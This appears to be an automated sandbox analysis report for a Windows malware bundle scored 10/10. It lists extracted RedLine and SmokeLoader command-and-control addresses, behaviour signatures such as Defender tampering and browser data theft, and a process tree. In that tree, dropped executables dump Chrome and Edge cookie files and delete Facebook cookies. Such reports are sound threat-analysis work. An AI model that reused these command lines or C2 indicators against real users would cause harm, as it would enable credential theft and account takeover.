Overview

overview

10

Static

static

EB72339228...47.exe

windows7_x64

EB72339228...47.exe

windows11_x64

10

EB72339228...47.exe

windows10_x64

10

Resubmissions

19-08-2021 18:59

210819-yrzbdtvqln 10

18-08-2021 20:25

210818-4hztrzavcs 10

18-08-2021 17:24

210818-9p8lqjhwv2 10

17-08-2021 06:12

210817-kl4jvaaq7x 10

16-08-2021 10:04

210816-nwc3tqkr3a 10

16-08-2021 10:04

210816-5r5rafnh7e 10

16-08-2021 10:04

210816-kdgh648t5e 10

16-08-2021 09:37

210816-9esgfwsmfe 10

16-08-2021 08:13

210816-26la9rblgn 10

17-08-2021 08:51

210817-w2l5yq2wln

Analysis

  • max time kernel
    111s
  • max time network
    1801s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    17-08-2021 08:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    EB7233922891E1DAD0434FBD52623647.exe

  • Size

    7.9MB

  • MD5

    eb7233922891e1dad0434fbd52623647

  • SHA1

    331126b108532ab9a1e932141bff55a38656bce9

  • SHA256

    b39e29c24003441609c457a3455cae9d9fb6f4462f5e06d0c1d317d243711cb8

  • SHA512

    597fbb0f397c45c8a2c5f63893c6d6bd4641e952510dfcac05dadb7afaaf4e005df1261649d4e79951979bad0be1fb09feebac7a6d23c31679590cbf40e1d4ac

Score
10/10
gluptebametasploitredlinesmokeloadersocelarsvidar4backdoordiscoverydropperevasioninfostealerloaderpersistencespywarestealersuricatathemidatrojanvmprotect

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

4

C2

213.166.68.170:16810

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/
rc4.i32
rc4.i32

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 1 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Suspicious use of NtCreateProcessExOtherParentProcess 15 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • evasion 5 IoCs

    evasion.

    evasion
  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 20 IoCs
  • NSIS installer 2 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Enumerates system info in registry 2 TTPs 25 IoCs
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 4 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 36 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe
    "C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5076
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/19Pfw7
      2⤵
      • Adds Run key to start application
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7fffd8a646f8,0x7fffd8a64708,0x7fffd8a64718
        3⤵
          PID:4740
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
          3⤵
            PID:4900
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3644
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
            3⤵
              PID:4752
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
              3⤵
                PID:3216
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                3⤵
                  PID:1992
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5152 /prefetch:8
                  3⤵
                    PID:2932
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5152 /prefetch:8
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1500
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5272 /prefetch:1
                    3⤵
                      PID:2360
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
                      3⤵
                        PID:2544
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4608 /prefetch:2
                        3⤵
                          PID:6964
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1232 /prefetch:1
                          3⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:4528
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,13618417175797023837,1487324231035283961,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
                          3⤵
                            PID:6244
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4684
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe" -a
                            3⤵
                            • Executes dropped EXE
                            PID:5024
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4568
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 240
                            3⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4700
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of SetWindowsHookEx
                          PID:4584
                          • C:\Users\Admin\Documents\uAa_AbxThvGNSkQqNALUo28a.exe
                            "C:\Users\Admin\Documents\uAa_AbxThvGNSkQqNALUo28a.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of SetWindowsHookEx
                            PID:5164
                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                              C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:6084
                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:5252
                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:5484
                          • C:\Users\Admin\Documents\HA0R0oOrvoeWkYK_NWGeEuqA.exe
                            "C:\Users\Admin\Documents\HA0R0oOrvoeWkYK_NWGeEuqA.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:5200
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 240
                              4⤵
                              • Program crash
                              • Checks processor information in registry
                              • Enumerates system info in registry
                              PID:4724
                          • C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe
                            "C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:5188
                            • C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe
                              "C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe"
                              4⤵
                                PID:4200
                              • C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe
                                "C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe"
                                4⤵
                                  PID:6700
                                • C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe
                                  "C:\Users\Admin\Documents\9DiGSOxNcKhW80kKxcL6J5ZA.exe"
                                  4⤵
                                    PID:5596
                                • C:\Users\Admin\Documents\ZNjEI97V8_TzeA2vWbShf6jj.exe
                                  "C:\Users\Admin\Documents\ZNjEI97V8_TzeA2vWbShf6jj.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:5176
                                  • C:\Users\Admin\Documents\ZNjEI97V8_TzeA2vWbShf6jj.exe
                                    "C:\Users\Admin\Documents\ZNjEI97V8_TzeA2vWbShf6jj.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: MapViewOfSection
                                    PID:5428
                                • C:\Users\Admin\Documents\mRMKJujcnUvhd7DjNMDCb8eN.exe
                                  "C:\Users\Admin\Documents\mRMKJujcnUvhd7DjNMDCb8eN.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  PID:5216
                                  • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Drops startup file
                                    • Suspicious use of SetWindowsHookEx
                                    PID:6100
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:444
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:2876
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3292
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4164
                                    • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                        PID:5380
                                      • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                        5⤵
                                        • Executes dropped EXE
                                        • Checks processor information in registry
                                        • Enumerates system info in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1444
                                      • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        5⤵
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2568
                                      • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                        C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                        5⤵
                                        • Suspicious use of SetWindowsHookEx
                                        PID:6352
                                    • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                      "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      PID:1496
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4872
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1120
                                    • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                      "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:1388
                                  • C:\Users\Admin\Documents\0OT08f9pu9hybIxDMQ79H_UI.exe
                                    "C:\Users\Admin\Documents\0OT08f9pu9hybIxDMQ79H_UI.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:5360
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5360 -s 244
                                      4⤵
                                      • Program crash
                                      PID:1444
                                  • C:\Users\Admin\Documents\2SXoBBHk0EQOBLgphYL2mbeI.exe
                                    "C:\Users\Admin\Documents\2SXoBBHk0EQOBLgphYL2mbeI.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:5352
                                    • C:\Users\Admin\Documents\2SXoBBHk0EQOBLgphYL2mbeI.exe
                                      C:\Users\Admin\Documents\2SXoBBHk0EQOBLgphYL2mbeI.exe
                                      4⤵
                                      • Executes dropped EXE
                                      PID:4112
                                  • C:\Users\Admin\Documents\VBzqFkfsDOMfFiW5eX98wd2t.exe
                                    "C:\Users\Admin\Documents\VBzqFkfsDOMfFiW5eX98wd2t.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5344
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5344 -s 312
                                      4⤵
                                      • Program crash
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5488
                                  • C:\Users\Admin\Documents\ABhgA1_JcNSjunWCJULBHWy2.exe
                                    "C:\Users\Admin\Documents\ABhgA1_JcNSjunWCJULBHWy2.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5336
                                  • C:\Users\Admin\Documents\maeApavXFRVyTdV1Ikfwiplv.exe
                                    "C:\Users\Admin\Documents\maeApavXFRVyTdV1Ikfwiplv.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:5328
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5328 -s 240
                                      4⤵
                                      • Program crash
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4832
                                  • C:\Users\Admin\Documents\5VBfkYZvUYTuOQ4AHP9J6iE9.exe
                                    "C:\Users\Admin\Documents\5VBfkYZvUYTuOQ4AHP9J6iE9.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:5304
                                    • C:\Users\Admin\Documents\5VBfkYZvUYTuOQ4AHP9J6iE9.exe
                                      C:\Users\Admin\Documents\5VBfkYZvUYTuOQ4AHP9J6iE9.exe
                                      4⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3876
                                  • C:\Users\Admin\Documents\KV7A28Kr66vqyPcOoBia8YpL.exe
                                    "C:\Users\Admin\Documents\KV7A28Kr66vqyPcOoBia8YpL.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:5280
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5280 -s 240
                                      4⤵
                                      • Program crash
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5604
                                  • C:\Users\Admin\Documents\FkdTCM26AHjprP7cVvGtWYus.exe
                                    "C:\Users\Admin\Documents\FkdTCM26AHjprP7cVvGtWYus.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5388
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5388 -s 292
                                      4⤵
                                      • Program crash
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2512
                                  • C:\Users\Admin\Documents\1qYRY02GWnuOYFefe_sWbDLj.exe
                                    "C:\Users\Admin\Documents\1qYRY02GWnuOYFefe_sWbDLj.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:5476
                                    • C:\Users\Admin\Documents\1qYRY02GWnuOYFefe_sWbDLj.exe
                                      "C:\Users\Admin\Documents\1qYRY02GWnuOYFefe_sWbDLj.exe"
                                      4⤵
                                        PID:800
                                    • C:\Users\Admin\Documents\_MiKooJ7I6X_jN040tJwAo75.exe
                                      "C:\Users\Admin\Documents\_MiKooJ7I6X_jN040tJwAo75.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5436
                                    • C:\Users\Admin\Documents\4VhdBSLn5e31ry9R4lNsreSR.exe
                                      "C:\Users\Admin\Documents\4VhdBSLn5e31ry9R4lNsreSR.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5420
                                    • C:\Users\Admin\Documents\1xwHsYY6JY2X9HJMmqNaZyN_.exe
                                      "C:\Users\Admin\Documents\1xwHsYY6JY2X9HJMmqNaZyN_.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5428
                                    • C:\Users\Admin\Documents\FXxQSNcPioIFIlbegIsf_vj4.exe
                                      "C:\Users\Admin\Documents\FXxQSNcPioIFIlbegIsf_vj4.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:5632
                                    • C:\Users\Admin\Documents\s9CZCVkwZnCKvuAXID9kjcGG.exe
                                      "C:\Users\Admin\Documents\s9CZCVkwZnCKvuAXID9kjcGG.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5624
                                      • C:\Users\Admin\AppData\Roaming\7036493.exe
                                        "C:\Users\Admin\AppData\Roaming\7036493.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4964
                                        • C:\Windows\system32\WerFault.exe
                                          C:\Windows\system32\WerFault.exe -u -p 4964 -s 2308
                                          5⤵
                                          • Program crash
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          PID:5128
                                      • C:\Users\Admin\AppData\Roaming\3529569.exe
                                        "C:\Users\Admin\AppData\Roaming\3529569.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4288
